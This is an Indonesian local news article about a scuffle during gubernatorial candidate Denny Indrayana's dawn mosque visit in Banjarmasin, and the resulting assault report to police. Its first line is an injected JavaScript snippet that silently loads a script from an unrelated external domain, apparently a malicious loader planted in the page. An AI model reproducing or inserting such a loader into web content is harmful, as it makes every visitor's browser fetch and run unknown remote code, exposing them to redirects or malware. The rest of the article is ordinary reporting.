(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Keributan di saat berlangsungnya acara subuh keliling cagub Denny Indrayana di Masjid Nurul Iman, Jalan Prona 1, Kecamatan Pemurus Baru, Kecamatan Banjarmasin Selatan, Kota Banjarmasin, Rabu (31/3/2021), berlanjut ke laporan polisi.
Salmansyah alias Aman (63), warga yang sebelumnya terlibat keributan dengan tim hukum H2D, Jurkani, melapor kejadian tersebut ke Polresta Banjarmasin.
“Ya sudah saya lapor, dengan tuduhan penganiayaan,” kata Aman usai melapor ke Polresta Banjarmasin, Rabu (31/3/2021).
Terkait pelaporannya, Aman mengaku telah memberikan keterangan ke polisi terkait kejadian yang dialaminya.
“Ya saya sejak dibawa pagi tadi belum ada pulang masih, kurang lebih 6 jam lah di sini (Mapolresta),” ucapnya.
Baca juga: Insiden Keributan terjadi Saat Subuh Keliling Cagub Denny di Masjid Nurul Iman
Terkait asal keributan, masing-masing pihak memiliki versi sendiri. Dari pihak Aman, ia mengatakan sebelumya datang ke lokasi subuh keliling Denny Indrayana karena mengaku tertarik adanya kegiatan di masjid.
Usai sholat subuh, Aman mengaku datang ke masjid untuk mendengar ceramah. Saat duduk, dari posisi belakang Jurkani mengajaknya ke luar masjid karena menuduhnya penyusup.
“Saya dibilang penyusup, padahal warga di sini. Makser saya dilepasnya. Kemudian saya dipukul di wajah,” ujar Aman.
Di lain pihak, anggota tim hukum H2D Ryan Firmansyah mengatakan, ada upaya mengganggu kegiatan yang rutin dilakukan Haji Denny. Padahal masyarakat dan jamaah masjid Nurul Iman menyambut terbuka.
“Ada sejumlah pihak yang berupaya mengganggu acara. Tapi yang jelas, bukan dari kami yang memulai memicu insiden keributan tersebut,” katanya.
Sementara Haji Denny yang ditemui media usai kejadian, mengatakan tak tahu pasti duduk persoalan yang terjadi.
“Kita serahkan saja kejelasannya nanti kepada polisi. Tapi yang jelas, sejak awal saya tegaskan bahwa kami selalu mengedepankan kondisi yang damai,” katanya.
Di tempat terpisah, Wakapolresta Banjarmasin AKBP Sabana Atmojo menghimbau agar warga ataupun pendukung paslon sama-sama menjaga Kamtibmas jelang digelarnya PSU.
“Kita dari Polresta Banjarmasin akan mempertemukan, dan akan cari tahu apa masalahnya, dan akan kita selesaikan,” katanya. (Kanalkalimantan/Tius)
Reporter: tius
Editor: cell
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.